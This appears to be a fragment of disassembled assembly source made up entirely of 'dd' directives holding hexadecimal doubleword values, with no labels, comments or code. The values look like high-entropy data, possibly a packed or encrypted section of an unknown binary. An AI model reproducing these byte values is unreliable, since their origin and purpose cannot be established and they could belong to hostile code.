		dd 3E6C1D9h, 17F0D660h,	171F7Eh, 0BFFFFCD8h, 5539059Fh
		dd 811A730h, 5E1607AAh,	96A48326h, 0EE226F22h, 98F822E9h
		dd 0B9EB8001h, 88525A66h
		dd 0A2DD93F7h, 519556F3h, 0E9238666h, 1EC8C9A1h, 1EFB8747h
		dd 0B510B057h, 3E4C0EDh, 62625CF4h, 0D804E0BFh,	18710270h
		dd 4729B917h, 3118A8EAh, 0E74F8957h, 23109565h,	90628BE9h
		dd 0CE1AF395h, 0D80953BAh, 0F67B584h, 0AFB72451h, 29414C82h
		dd 175F7B11h, 0D21DF9E2h, 356E2A66h, 4FE77D8Bh,	3C130Ah
		dd 36492515h, 2D001461h, 56C950E1h, 0E8BF6C35h,	0C52916BDh
		dd 0F5B79458h, 2C6A1D78h, 0E987A1CBh, 0B363EA31h, 5F911630h
		dd 694AAD68h, 0EA600F32h, 8EE45EC1h, 0A2535866h, 534F16E6h
		dd 0D39C49h, 3F67EB97h,	0A5E0A517h, 14AF8B65h, 6852026Ch
		dd 4FAA6DFCh, 0B5AE4EDAh, 3968EA1Fh, 250C70D3h,	66E1242h
		dd 8920A3CBh, 504B7BD5h, 0AAB03C64h, 44119487h,	2495CD21h
		dd 5227E98Ch, 73AFA102h, 8242356Ah, 29055036h, 64A8EB88h
		dd 0CD32E85Ah, 890117B8h, 58F2E9D0h, 0BD660FD7h, 512B6F19h
		dd 21806241h, 0F2AAE05Bh, 0CBD08895h, 0AC2ED610h, 0C270E25h
		dd 8D8FC594h, 52EA4917h, 3043A83Ah, 0BEE9D698h,	0BA870097h
		dd 649D1A32h, 12333812h, 0E706A08Dh, 2C315955h,	11485E90h
		dd 0E90DC278h, 2C006593h, 95D82802h, 6E94830h, 0D724359Eh
		dd 571FDF24h, 0E52358Bh, 43C477CDh, 547F47C1h, 57E62D00h
		dd 56588A74h, 88800F6h,	0F7491C94h, 499D98D1h, 6F844261h
		dd 2A48E906h, 574E91E4h, 26F1D800h, 285D4180h, 1307BE56h
		dd 0D45EF529h, 0A55DB80Dh, 422EF6F1h, 1C6F215Ah, 292F450h
		dd 2C49B8C8h, 0B36E128Bh, 0EEA017A9h, 0F455F0CCh, 5FCEA97Ah
		dd 0B331F31h, 294AB394h, 0F182EC66h, 800FA997h,	91734E62h
		dd 59B6FA13h, 6809EB07h, 92191EBAh, 5735FC54h, 950412D6h
		dd 93872D22h, 400712B0h, 4C0EEA63h, 0E2D20026h,	86A3DDDEh
		dd 736D8CE9h, 0B3413498h, 0D481E330h, 98766406h, 7434EB7Bh
		dd 7FCFFEEAh, 3AF727EFh, 6B877862h, 1AE1C0BAh, 250FB450h
		dd 8706ECC0h, 0E4F453F4h, 0E9B60D80h, 0D8DE5CF6h, 810BFA37h
		dd 60F428CDh, 0DDC03E3Dh, 7AAC27A6h, 7DC10081h,	0E9203B5Fh
		dd 0F2824023h, 80C7E678h, 0B090F766h, 4FE79080h, 931AD80h
		dd 598168D8h, 20F1BC64h, 375A80AFh, 70691F21h, 0C8413B23h
		dd 9CE7F920h, 6F684166h, 78062336h, 1013DB32h, 7BEE6A54h
		dd 496A2722h, 17B32B64h, 0B0FADC2h, 0BD6AB0Fh, 0ECC5C284h
		dd 122CE99Ch, 10771AADh, 0BE0C8706h, 90FB44BDh,	20C8BE3Bh
		dd 4E463A12h, 41B51B81h, 44687850h, 0EB11DD74h,	20092865h
		dd 0FDC1EADAh, 2B57B966h, 142DE0D2h, 0E789C00Dh, 56C5F8Ah
		dd 1784E6C0h, 30E909B3h, 0EBB7F8E2h, 8F30769Fh,	7300C03h
		dd 431640F9h, 20017912h, 0D0F66089h, 57594B41h,	6455319h
		dd 1EB1BE3Eh, 0B19A5F4Fh, 5CE0BF42h, 0B801BB53h, 43558B1Fh
		dd 1E2AA8E9h, 9F10E737h, 24BE5BDFh, 0DA4C4F93h,	58583A57h
		dd 81073536h, 111AB3F3h, 2403E96Eh, 0C64B88D1h,	0B8D0438Ch
		dd 0BA3625D6h, 269F9E64h, 0A8D355D3h, 9DD8AB3Fh, 6841D96h
		dd 0E90CEB94h, 3C5E11BBh, 3125D9F7h, 3F9BB09h, 51CD4EBBh
		dd 3C0FE408h, 5128C8B6h, 0B81444AAh, 0B7138804h, 4CF03109h
		dd 0FA5B6558h, 9DCC971h, 3976ECB9h, 66F718B5h, 0DBD3E459h
		dd 0B08A569Ch, 5E82900h, 86111DA3h, 6AA0465Eh, 6C90940Fh
		dd 0FEE95609h, 0FDDC6406h, 0B0325C21h, 0A1544E65h, 0AA722AB2h
		dd 0AA30214h, 0E1015B02h, 2BC7CCh, 77D12D2Bh, 51E25DAh
		dd 7EDF0753h, 444237CBh, 68510B00h, 6D663F28h, 40DF9336h
		dd 9D14B567h, 5082D04Ah, 0FFB4965Ch, 0F47235F9h, 0B318E712h
		dd 0AF4E7F26h, 5E546F81h, 6809C736h, 0B3511FF2h, 46E611ADh
		dd 0F501996Dh, 61E6E06Ah, 44A3492Dh, 0E0AE2546h, 348AF02h
		dd 9C2DFF2h, 0E12BC364h, 8307F035h, 18C20288h, 0F456D1A5h
		dd 0BD419A90h, 0B4132529h, 60268D44h, 37E17DD5h, 2749780h
		dd 0E62C9BE6h, 4470A952h, 18291783h, 52010A52h,	0AFBE343Eh
		dd 972F3A2h, 48535EF3h,	5FA6E9BAh, 0CAE544D3h, 7C29BC58h
		dd 6F01304Bh, 0EA22EDBFh, 17EF3260h, 1DE3E10h, 44FEF770h
		dd 2BE9F87Ch, 0A08396A9h, 0DA4986DFh, 0E71420AFh, 7D716907h
		dd 0D5D14B3Ah, 0EA6CB7E9h, 6792BE00h, 0B2D5AB9h, 4CC55F02h
		dd 0E251F001h, 890900E8h, 12D5DE9h, 369A09F2h, 4705C801h
		dd 54EBE207h, 0B6055246h, 5EEC0B7h, 0C1E8A682h,	0D7316BA4h
		dd 2A000BCAh, 2F6E3667h, 0DFBA520Fh, 0F73B063Ah, 0C1665422h
		dd 0F4EB4001h, 286A730Ah, 0E989C25Dh, 0D82EE2F0h, 0C59620B8h
		dd 0F904844Fh, 6802AEFDh, 6CF94D13h, 1095AA9h, 0E93D40FAh
		dd 62689AC9h, 5F54275Ch, 69A874h, 0A51A09CDh, 0CF012859h
		dd 0CD0883C9h, 7D2B9211h, 0AA2610B0h, 7781D430h, 291DBE05h
		dd 0D3817606h, 0C82101E8h, 0CD11CA96h, 0E8E60474h, 89ACF423h
		dd 9A0CA4D3h, 0BC37355Fh, 0FE95E999h, 49DFAE28h, 3FF2142Dh
		dd 0C175387Fh, 0C9F010F6h, 1116AD60h, 5C59CB28h, 0D021AD5Ah
		dd 9606E43Ah, 158F5393h, 0B34AE98Ah, 0A962354Ah, 48257F29h
		dd 799444F4h, 9D39F053h, 52A28420h, 3DF64F42h, 0A1DC574Ah
		dd 1F260305h, 0D8F723F1h, 0D5D60E02h, 0E3C789BAh, 7C79983Ch
		dd 0C1775A4Fh, 69B6392Eh, 0EA83C6ECh, 20144E96h, 0E9585445h
		dd 31916F54h, 53CBDF4Ah, 0C05FF812h, 0A1473866h, 12BA2D02h
		dd 63DDD035h, 0D019C51h, 83844C6Bh, 701F251Ah, 0C299FF62h
		dd 497959F0h, 0F3895383h, 0D3883C01h, 0CBFE585Ah, 427420EDh
		dd 25FCB15Dh, 0D49086ECh, 4B331120h, 5227D401h,	752BCEB4h
		dd 0E912389Dh, 9B126444h, 0F4339908h, 9FA8F73Ah, 0E21E77F5h
		dd 33CBBD4Ch, 12F31CD7h, 0C8B85052h, 5816C2F3h,	7308D301h
		dd 1F9E280Fh, 43B475C3h, 0C1D1F741h, 0CD8306F9h, 6C7ED501h
		dd 0AF052D2Ch, 5D28FC2Fh, 0C9AFD505h, 0F61F31DEh, 0A001B64Ah
		dd 1E5058B0h, 81560C46h, 10D54F1h, 0B41BA3A0h, 0D420A999h
		dd 0B502A44Ah, 0D4438268h, 564E62B0h, 0CCBDE901h, 0ACE48189h
		dd 19A93FFAh, 0C6D2078Fh, 26147908h, 0CC025DEh,	2E0F02B8h
		dd 0C10D59F7h, 2D467578h, 0D0C46947h, 35018C80h, 615C029Fh
		dd 0B9DEE914h, 0A45267C9h, 8FA01CB2h, 581033Ah,	7372DE1Dh
		dd 35B6B801h, 76C393Eh,	2F08EB28h, 788BA8E9h, 0E9C30F79h
		dd 8B593115h, 42656B3h,	3A215C87h, 6EED102Ah, 2DBBD750h
		dd 458E076Dh, 27DF8957h, 4E2CF3F9h, 27CDE742h, 26586129h
		dd 9BDF7023h, 3492DF84h, 0EE6B64D1h, 12059435h,	5A9BC00Fh
		dd 681E6735h, 5AF84472h, 109B0414h, 5F2DADE0h, 334E1009h
		dd 1CF82CA2h, 4BF598B5h, 0DF69C915h, 4328DCFBh,	0E55C355h
		dd 36E90D58h, 552C9D1Bh, 479CF6A7h, 0D1265C5Dh,	0A312E06h
		dd 9ABB442h, 8DE88FD9h,	9D7E0211h, 1C1F2F22h, 411BCF20h
		dd 0DC3358A0h, 89DC934Fh, 0E1C95750h, 29374403h, 0CD03E8C1h
		dd 450798C8h, 0F5403DF3h, 533F82h, 685FFD29h, 0D4122C2Eh
		dd 0EB6506CAh, 58121F0h, 64E82CDh, 0D0E48051h, 4A09C964h
		dd 75AD501h, 409022D9h,	1CCD2928h, 53E92159h, 5CA58165h
		dd 0D49D2953h, 23634A76h, 4A81485Ch, 5119FB20h,	0A406A9B5h
		dd 0B5142A70h, 0A1816B94h, 1C38A8F7h, 19952278h, 30095B16h
		dd 5F804B8Ch, 8ED00C1h,	0F33E581h, 4D013AFBh, 6B80BE56h
		dd 473147B1h, 40823BFBh, 8180D62Ch, 0EA80CAFEh,	7069F43h
		dd 88847552h, 8B8E6DE7h
		dd 1094E756h, 0E90D113Ah, 5972FE6h, 0F100E58Fh,	5EE850D3h
		dd 0D225F75Ah, 0C151C087h, 810203EEh, 0C9EBFF6h, 1B7E09B2h
		dd 31593558h, 54A8401Bh, 9E2532DCh, 0FAB477CBh,	64C706BCh
		dd 0C377436h, 0E77ADC02h, 62F72972h, 0C080D27h,	0A3731406h
		dd 0C1C10FD5h, 571F06E7h, 73F5E5Ah, 5EC7FE76h, 62882947h
		dd 4A60B35Bh, 6680327Fh, 4853AB8h, 2369350Fh, 1C4061A9h
		dd 6813F6B0h, 0E9315A88h, 0A8307FB2h, 1074132h,	2044C582h
		dd 0F77D0166h, 55C11A4Ah, 7A702AB1h, 0C9FE2E8Fh, 53CF0379h
		dd 0ABDCB2B7h, 0F6830B87h, 0A9A09D7h, 408FF920h, 3CE0A1D3h
		dd 0FAE9E0D7h, 0C246BCCCh, 3272D259h, 0D5520732h, 0D8F740ADh
		dd 42DDF757h, 68821732h, 24F45FB2h, 1610CACAh, 0BB535200h
		dd 550428BFh, 0EFC5B3F8h, 0F4D9FB01h, 0E9AB632Ah, 0AF2C40FBh
		dd 1B08BFC5h, 16B900CDh, 81577B77h, 20BDE105h, 0AC801A8Dh
		dd 58C50F1Fh, 0BD49A25Dh, 48B35302h, 1655DD88h,	1B7E4BE7h
		dd 2A3DF8D2h, 62AB2F25h, 64E879E1h, 78B8A1D1h, 27B0A642h
		dd 0DAA16BEDh, 137D43F8h, 0FAD5C0D8h, 16D0B831h, 0E58C121h
		dd 0EE4B0B9Dh, 68564460h, 9213AA04h, 4805E0Dh, 90436BEFh
		dd 29352676h, 0A864B33Ah, 60DD825Bh, 56F5422Ah,	5B76D5E9h
		dd 6A41EA81h, 13EC462Ah, 0AC1DB1D7h, 57C00C50h,	0A609BE7Dh
		dd 0D0538838h, 0D3902019h, 294F9592h, 5C5DC582h, 0CC8489AFh
		dd 0BEF65B4Eh, 4C3C355Fh, 453DD266h, 4BF579Bh, 816336CCh
		dd 0F05F34C1h, 0E91B4F62h, 0E05DFD76h, 7B028684h, 36B0204Ah
		dd 5CF5BF05h, 0B3012029h, 33DC04D4h, 39FC2C82h,	0DB425BC3h
		dd 3021BC0Fh, 401E206Ah, 32727BC2h, 0CDDFF17Ch,	2AB0C81h
		dd 10BE7C01h, 240C4429h, 0D7820BBDh, 409A5664h,	1A1065A0h
		dd 817D2D03h, 9A2692E3h, 28AA617Bh, 129E0B7Ch, 419F2678h
		dd 9A53CDBCh, 0B080C1E5h, 0D230ABDDh, 4E5EBA80h, 0F1BD8D5Ch
		dd 22172A17h, 966946Dh,	0B308E917h, 455D2DC5h, 615B88DEh
		dd 8F030028h, 311D7FA3h, 743E54F7h, 66620E35h, 6DA702E6h
		dd 6A006906h, 79D820C3h, 0BFE142D6h, 0E9B03C3Fh, 65F89827h
		dd 75FC0938h, 0E05A9D5Ch, 80D5A388h, 5E5E3568h,	7F0AD18Ch
		dd 77185843h, 4CCCF241h, 3B4305Fh, 847C280Ch, 0C5FA45F0h
		dd 3812C002h, 80EF89CBh, 6B3F780h, 3E0950Bh, 99606CA0h
		dd 4EB5C3AEh, 291A272Ch, 80D2FC2h, 5F14001Ch, 7D276866h
		dd 5343A01Eh, 39B450h, 88B7F480h, 0DB8CE9E3h, 0C70B519Ah
		dd 590DFE20h, 0B30A27A2h, 0A40E207Dh, 2D58B03Eh, 0B4C63889h
		dd 5829B90Bh, 0C82180EAh, 13429259h, 40D16CE9h,	5D3FBB6Bh
		dd 89267BC9h, 0C708F6DEh, 0C0590366h, 51BB08EAh, 0C9768ADAh
		dd 54C3BD02h, 0DDF1419Fh, 0B40EDEF0h, 0EC8762CCh, 53F290Bh
		dd 0A5A948D3h, 38EAC330h, 91F8DCF6h, 3D5DCC5Bh,	0F0D224CAh
		dd 5CA7E682h, 0F6CB6027h, 21481607h, 5E630941h,	3C1989Ah
		dd 304F2F11h, 4EADA0A5h, 120CCF81h, 239AE7Bh, 6F258DD7h
		dd 4B0355E0h, 46CF1CBCh, 260B2488h, 4B87A666h, 463A28C0h
		dd 9D629996h, 27DA513Eh, 985A38A4h, 53326853h, 542B5348h
		dd 0F3880E53h, 5A5BDC43h, 0C4498692h, 5571982Eh, 2889406Ah
		dd 2A95D64h, 0BFC2F581h, 39489B76h, 74314A2Dh, 3034566Ah
		dd 22B1BA00h, 564B960Bh, 0F92D8650h, 22B84F50h,	0BDC1C5C4h
		dd 32E70721h, 90A5F372h, 0F6545273h, 0A0BB542h,	34181447h
		dd 0A66150FEh, 0E136C487h, 64BE0BC9h, 4DBD3482h, 0E9BCE57Dh
		dd 0B9D264FCh, 0BF16B73Dh, 59CD8F20h, 0A2FC45Ah, 6E072CE9h
		dd 0F40EC02Ch, 12BB84FDh, 0B62A208h, 0E67CB168h, 0C960B8Ch
		dd 63F14586h, 171BE0A5h, 0F75512CCh, 0F1C401D3h, 61F8ED53h
		dd 136C2243h, 0CA59D4FCh, 407BBB11h, 2ADCC5CAh,	0AA985022h
		dd 7E861D0Ch, 2A1C19ABh, 7EAE40ACh, 59ADBC3Dh, 0A73C1214h
		dd 999987B7h, 5DE1FC1h,	0C90AE95Bh, 1DC66587h, 0BD091268h
		dd 7068B77Eh, 35B419E9h, 0F1305813h, 0A63A5F68h, 46BA05E4h
		dd 8233535Eh, 0E48CA3Bh, 5A7418B8h, 0C1C1092Fh,	9AEA047Dh
		dd 2D215A96h, 6F10A4CCh, 0D10EC209h, 572568E2h,	0E5298A92h
		dd 0C7962DF1h, 0F61C4020h, 295816C3h, 0D7CAE2DFh, 0D22EA345h
		dd 0FEE040CDh, 898B31Bh, 6B27643Fh, 0DE79CA66h,	940501A8h
		dd 0E82866C2h, 6595010Fh, 38E92777h, 0ACD35333h, 7B5AB6C9h
		dd 0C5865801h, 8BCD0F6h, 0C91EE26h, 800703E6h, 282C56FCh
		dd 0E98463F0h, 0D5E4ADEBh, 0DCCE0485h, 0BCC801F9h, 95C2A455h
		dd 52680BC5h, 0C87CBF0Fh, 44C25F25h, 0D5BCA1EEh, 7FFE5C01h
		dd 0B7C7F545h, 0A6922CE8h, 0B08E7F3Fh, 3DA230FEh, 27D4EA1Fh
		dd 0C95D1B38h, 4668954h, 67D0B0F2h, 3D4497BDh, 8D2D7427h
		dd 7E531D09h, 17D7142Dh, 0A340F368h, 809D7214h,	4D76BD82h
		dd 0C201BD79h, 211963CFh, 0AAC860DCh, 970AF03h,	0D2E95DE8h
		dd 0F6964A5Bh, 206324Ch, 8415F140h, 9073625h, 3373802Ch
		dd 252E8F59h, 3765CD09h, 4FB3C3ADh, 12B92172h, 9CAD8B59h
		dd 0EA9B1B3Ah, 0C8BD47Dh, 0E6EAC609h, 31273AF4h, 980CEB17h
		dd 0CC4CC40Bh, 5E73F334h, 7C3D908Ch, 3336139Ch,	59E101h
		dd 0E9138808h, 5F07155Fh, 5EC7D8F6h, 0FC1A7C92h, 261D4F86h
		dd 53BACECh, 816B3E8Ah,	2360B4DFh, 0C15E245Eh, 102178E9h
		dd 51550668h, 0C6126B67h, 0E34F9463h, 688136F2h, 0EB312CB3h
		dd 0CBEDBF5Eh, 0F617FAD8h, 45C5A95Dh, 9A7F86DBh, 0D4F63766h
		dd 23FFD20Bh, 57E78356h, 4AE09EC2h, 0B0744C5Ah,	19F664FBh
		dd 2FEC8256h, 2C466279h, 35F60BCCh, 0C0806FD1h,	9756FCE5h
		dd 0C54F3A76h, 0EEEDCFC8h, 223D12FAh, 10B3AC89h, 5425050Fh
		dd 53007845h, 0AE5CC168h, 9E9393Ah, 7EEC48C0h, 7DC22855h
		dd 0E8C8102Ah, 0A252327Eh, 4DC0B50Ah, 109F3FBCh, 1F640565h
		dd 56BBE626h, 59F041AEh, 0C8F78957h, 0A09B5FFDh, 72120112h
		dd 195BB3F0h, 0C22AC78h, 0CE89106Bh, 6296259h, 7766F321h
		dd 0C0555448h, 0FC149BB8h, 0C26BFA7Ch, 8002B1DBh, 8F5D79E2h
		dd 0B43EA532h, 3384DAFDh, 4AA7A7D4h, 520C58D1h,	0DC163AFh
		dd 3C162EBDh, 7822F91Ah, 4B014456h, 0C0C10EC9h,	16DA89CAh
		dd 8197E95Bh, 282968CBh, 952D7A27h, 0DA39BBCDh,	14E456EDh
		dd 4202E145h, 29DB9C20h, 0E2063A42h, 400FF19Dh,	0ECFE4635h
		dd 161B72AFh, 0A0698526h, 8A2EB06h, 787E5861h, 0D3325B77h
		dd 0FEE54201h, 0A16BC27Eh, 71A1125Fh, 30370818h, 0F9685D07h
		dd 7C0DB0D9h, 0F398B549h, 0B29DF533h, 5529F03Ah, 29E4B1F9h
		dd 0C45EF0C7h, 0FD840F8Bh, 28D55026h, 0CCBA5202h, 726ED906h
		dd 7617022Bh, 54015936h, 4A15900Ah, 30AC03A0h, 5352D8h
		dd 80FEB704h, 0E7C035EFh, 550C046Ah, 12F6CA08h,	546C087h
		dd 691FF86Bh, 0A1D2DA01h, 5E58E849h, 28890B7Ah,	6EFBF711h
		dd 2E681128h, 6B1D2A01h, 0C1C6C3ABh, 1A5D6CAAh,	523E61B9h
		dd 6A2E8C2Bh, 0BC512E62h, 0DD490F7Ah, 50BB2540h, 0A1402F8h
		dd 2FCFDBF7h, 687438BEh, 34595B9Bh, 0D9F032C8h,	724BCD79h
		dd 7835FA5h, 7FC231F0h,	13E35372h, 0F30A0E28h, 46C43E23h
		dd 964AFE2Dh, 0BA1AFA93h, 685C0953h, 7B66169Dh,	0ADF53530h
		dd 240AE3EFh, 12C165AFh, 0B133F40Dh, 880B9BB6h,	171090F1h
		dd 685280DDh, 0C64E0C27h, 0E25EEF8h, 5651189Dh,	2A595EEh
		dd 73F804Dh, 0E65AD146h
		dd 2691FF97h, 0B9D85539h, 3B5B0241h, 1E47E92Bh,	9FF8B0A2h
		dd 3D5F1EFAh, 65BD7900h, 0B039F671h, 42B502BCh,	0DDF71321h
		dd 74FC9A40h, 0AF0EC04Fh, 46032458h, 0D117F801h, 0E8E7D830h
		dd 7FCF7410h, 2975DC04h, 0F799F459h, 0AF4EAC03h, 13F8093Ah
		dd 0A220B278h, 0D2BA591Eh, 47278FA2h, 0E8641E04h, 14022F7Eh
		dd 0B79B8168h, 0ECB50903h, 0EDAED801h, 19D40F39h, 0E0E5F929h
		dd 0E7CB40F4h, 66E673FCh, 0B30BC7ECh, 701BA9DFh, 1139436h
		dd 0F919ECCBh, 308206Ah, 312EE079h, 87063029h, 120646F5h
		dd 672368E9h, 0BDD89210h, 5205D1E6h, 39A56857h,	0A7EAE767h
		dd 60F7A16h, 8BFA6A5Eh,	2EC47717h, 21A901F8h, 0C282314Bh
		dd 1012E56h, 31339D77h,	51ADC92Ah, 50CAF53h, 0B1ABE504h
		dd 9139F012h, 5E3A5C41h, 40DF53D5h, 4769B8AEh, 11F46F75h
		dd 20569AA9h, 551395C7h, 93B3120Ch, 1193482Ch, 3D6628A6h
		dd 0F612304Fh, 0BC710E0h, 57097F7Ah, 80DC3A12h,	977E7225h
		dd 7489AEBAh, 0D272EDD4h, 0EA39209Ah, 3F4F687Ch, 22CAFB30h
		dd 29510161h, 0E95259C8h, 0B4472EF7h, 4EF0B7C2h, 90D18909h
		dd 36822AC5h, 872401E1h, 5368C361h, 17E82634h, 8D749E5Eh
		dd 4952F888h, 4C34AC08h, 98CE0425h, 0F0010047h,	26750B05h
		dd 457B418Ch, 0E772948Fh, 0BD55001Eh, 26F2793h,	6ED55CF7h
		dd 1428B804h, 61DC0F03h, 0EA01FEEFh, 0AB1C4042h, 778042E3h
		dd 0F5C34230h, 77023205h, 1A82FB01h, 800B5EF3h,	0B32733C1h
		dd 0CD588914h, 41713DECh, 9D46654Ch, 0A3F4DEE2h, 0C3BDF151h
		dd 52A8EA83h, 0C055CEEh, 121D1345h, 0C2282DF8h,	0ACE91208h
		dd 5665881Ch, 2FD520FFh, 35546713h, 7099CC4h, 616A055Eh
		dd 0E942EF80h, 271D5B70h, 0EC458407h, 178F5A96h, 8094BD7Ch
		dd 0FB020325h, 0DB070A3Dh, 8874ACC3h, 0C3206068h, 4570580Fh
		dd 24D56B0Ch, 0C440019Ch, 5F539867h, 0E9D918BFh, 3ECC9612h
		dd 8B02CACFh, 0C16FAA5Ch, 0F467890Ah, 4662F00h,	0B2C3E939h
		dd 0C15A184Eh, 0E1A7AAEAh, 1C9F8582h, 9D2C04BCh, 3FA541CAh
		dd 4DD62094h, 0F5732060h, 17FBBDB9h, 9EE01BFh, 4140489Ch
		dd 0E5EFF829h, 0C50EA7D9h, 3A2C3FBAh, 1BBD8110h, 0C74DBE20h
		dd 2FA15203h, 0EAE91906h, 0A0FA5A10h, 1364D249h, 45957AFh
		dd 0F85AF363h, 0B180D6F8h, 718B7292h, 5D929F53h, 0C16185F6h
		dd 0BAFB0EE8h, 0C8BA004Bh, 5C60A71Bh, 58E43AE4h, 6EE911A3h
		dd 8BC70052h, 1154A7Bh,	85CAF1EFh, 0C0FC5D08h, 0A3C4E9F0h
		dd 794CAFABh, 7CC924D6h, 0BEEAC4CCh, 7E421854h,	0C3251DC9h
		dd 300A6C44h, 0E28B379Eh, 0CD3045BAh, 68980C43h, 984D4FEh
		dd 6A21277Ah, 87983BDAh, 0D317DBE6h, 35B004AEh,	12CC4AE9h
		dd 94E1B29Fh, 4E274D9Ch, 99D4DC37h, 0D2F65E90h,	1EA3980h
		dd 470C280h, 52D028F1h,	0F00AB666h, 0C49DE260h,	0C24077E3h
		dd 967E9B87h, 0AAD4E54Fh, 0FF7969F9h, 7D0175C4h, 1B5F6EF3h
		dd 82D0C2ECh, 476B7712h, 54AD003h, 63E9B9F8h, 0C380AA50h
		dd 0F16AE1CAh, 3FDE3544h, 0D2B55F3Ch, 0E04FED85h, 0C03CF2E9h
		dd 7AD9C31Dh, 14E63C1h,	8070084h, 4748359h, 0C59334EAh
		dd 0B444525Dh, 10BCE0FBh, 0E4E8210Fh, 24BB547Eh, 2F71BE6Ah
		dd 31014387h, 0E57320C5h, 0D42D30Bh, 4B73C050h,	0F1F3C7FEh
		dd 0C3C63731h, 0EEC3CE28h, 0B8B559ABh, 0E9340599h, 198D3341h
		dd 9AAC9FBh, 83C423Dh, 0F2A97516h, 0B5A18438h, 4C57E813h
		dd 50E116B2h, 6716D925h, 416980E0h, 0D13D2214h,	2E8928Bh
		dd 0B50C3220h, 38F5806Ch, 639BF8EBh, 0F7ED81DAh, 54404BEAh
		dd 300728C1h, 0E90178E6h, 270854EEh, 40304E5Dh,	7BC18E1Ch
		dd 0CA1F75BAh, 57A44C2h, 965F6BC2h, 0D2948438h,	57C05059h
		dd 7B13402Eh, 4C1E8919h, 3E88B697h, 2898B55Ch, 721717BBh
		dd 60172013h, 0D0C4EE13h, 0FA80FAFDh, 817ED75Ah, 5746F106h
		dd 1CE7D20h, 1E853C25h,	51192BE9h, 819A72B2h, 380CEFFBh
		dd 893F6190h, 7B40ED4Fh, 0E38D3253h, 0E99D447Ah, 89E3A156h
		dd 0FACA462Eh, 0FDF8FA33h, 1693DE72h, 40E3F331h, 2CBAE2A9h
		dd 952D7431h, 77940D2Eh, 0E630FA51h, 98EBE22h, 0F7FE80FDh
		dd 4AB82D5Eh, 0E9444CF3h, 4F070528h, 5398285Fh,	1DE256B0h
		dd 0BB06CD01h, 15A339DFh, 567BCC98h, 0FB2EE93Ah, 0A0C56D12h
		dd 0C4BD3B94h, 0E830E0D2h, 0C5E28003h, 174E51E9h, 0B318D3DFh
		dd 2A991007h, 51D1BF0Bh, 0B4D808h, 49B4313Dh, 8BC34E9h
		dd 80E94C25h, 0DFA0A11Fh, 5AD7C180h, 3B5B5105h,	91F48AD7h
		dd 2D0317BCh, 765739E2h, 8B221927h, 887DD335h, 0E12FACB1h
		dd 82C98384h, 82D4A460h, 1F5A9000h, 3A8048FDh, 0A620FDA5h
		dd 5E0D58A3h, 5EF32900h, 73E9DE01h, 3036C062h, 0EB985CE8h
		dd 5D49FB78h, 2AD2941Ah, 0C422F4D7h, 97077C7Fh,	0EBF21D66h
		dd 64202C4Ah, 3B326852h, 0FBFE0476h, 9BD8D24h, 217D1F69h
		dd 9A001FA9h, 499A5E78h, 56DDEDF2h, 0C75FE8E7h,	763DFEA0h
		dd 0C6CF0532h, 0FC637E3Fh, 0F002D3F8h, 40459A1Dh, 90553AC7h
		dd 0EA689592h, 123F02EFh, 0FE319275h, 0B6F62E00h, 0C1290359h
		dd 0D2550F5Eh, 7F503A46h, 60E90908h, 4F58F640h,	95E75B1Eh
		dd 2729B3F0h, 9CE8627Bh, 0A2B43095h, 0E3F1833Bh, 4E3D6E44h
		dd 109FCA2Fh, 164F289Ch, 7CA9CA4Ah, 7403D14Ch, 0DE126AB8h
		dd 0A1BDCA29h, 0A1986C85h, 92612BD2h, 56382382h, 32F96883h
		dd 1DFDA316h, 0B0583132h, 18BB53ACh, 88686A96h,	0E253BF3h
		dd 0CA2240FDh, 79A7018h, 0FE4ABE05h, 124516Dh, 0C329E4FDh
		dd 605F5848h, 0B278D646h, 385E6725h, 44CF7202h,	2CAD2E40h
		dd 390A922Eh, 0A36A5402h, 29CA0077h, 0FAB0716Fh, 84A6CD4Dh
		dd 0BEF90966h, 0B297F613h, 0B558D73h, 5F292448h, 260C5334h
		dd 3B10CF7h, 0F0F0E909h, 132D7B3Fh, 0F1072A1Dh,	0A08AF4F1h
		dd 4AE59497h, 66128DAAh, 66502578h, 9D58F856h, 27A59F65h
		dd 0DE692A4Dh, 6A6840A8h, 65C6D29h, 95223177h, 0FEDDCA01h
		dd 0C3283472h, 956FF630h, 0EA88EF03h, 55D137AFh, 0C6CE81CCh
		dd 305C0136h, 845F9748h, 0B70BC779h, 9500539h, 3F6F859h
		dd 0E9D5315Fh, 2903D883h, 0F05A34EEh, 0E890DA6Ah, 0F03BB61h
		dd 4B2BF467h, 2CA7D966h, 53512C00h, 0F380F2B3h,	506CE9Fh
		dd 0FE97EBC1h, 0D293EFCBh, 40A1001h, 2CD82864h,	0C12A5BD1h
		dd 2345AE68h, 42C85F4Fh, 90B64B27h, 150169E9h, 0F6057102h
		dd 756BC176h, 1F071D08h, 4D7F4B5Bh, 0B2E9C601h,	0DF402F08h
		dd 0CB6BAD57h, 7FF24C01h, 0E90CC548h, 0B85CE313h, 2FF0469Dh
		dd 94649BA1h, 0CEF7CD89h, 0E91408DAh, 44A9980h,	112E4FD9h
		dd 0ADAC2284h, 79DABE02h, 0A0805EB5h, 7C672A5h,	550A6097h
		dd 4FE301BDh, 68E93C7Eh, 0DF6BBBDAh, 0E90899CBh, 0F7011F26h
		dd 108468D7h, 0FBC0126Ch, 29AFB2E7h, 54E9DF13h,	515824C1h
		dd 0FC4EDD3Ah, 4BC43820h, 87FC45D5h, 0C5CCC04Ah, 0F424A189h
		dd 4913A82Fh, 0C4D23AEDh, 0E51CEAACh, 0DBC37D89h, 56311293h
		dd 0E0CBB101h, 279FB5C1h, 79823F2Dh, 4C32573Eh,	0BD23147Fh
		dd 97E1B692h, 50E17C72h, 2690471Bh, 0CA2F6E7Bh,	0BF892FEh
		dd 51C778F1h, 457AACADh, 81E829B3h, 6150575Ch, 0AC17DC3Eh
		dd 325A6926h, 0E10C033Dh, 93D2F73Ah, 22CAD0DAh,	49B02E7Bh
		dd 0E2FB0854h, 6E3C104h, 0FDF7B780h, 1C3B5E38h,	0D1D2D631h
		dd 8095B73Bh, 40D8F70Dh
		dd 25CF6305h, 0F9629B60h, 2189DF45h, 0A75751D8h, 0F84F3372h
		dd 0BAB14412h, 0DA120632h, 19C420B5h, 12487635h, 6F9B0010h
		dd 1CE97C4Ch, 0C9D8834Dh, 390F40ABh, 0E1D159h, 5370BBF1h
		dd 520E349h, 0FB8804D3h, 0C1CB896Eh, 36A15F10h,	78C8123Dh
		dd 0C3882E30h, 97D8E650h, 0E95BB440h, 32D68635h, 0E118FBACh
		dd 5C0E6605h, 9B41D12h,	1F2C1314h, 0E5414504h, 30AA341Ch
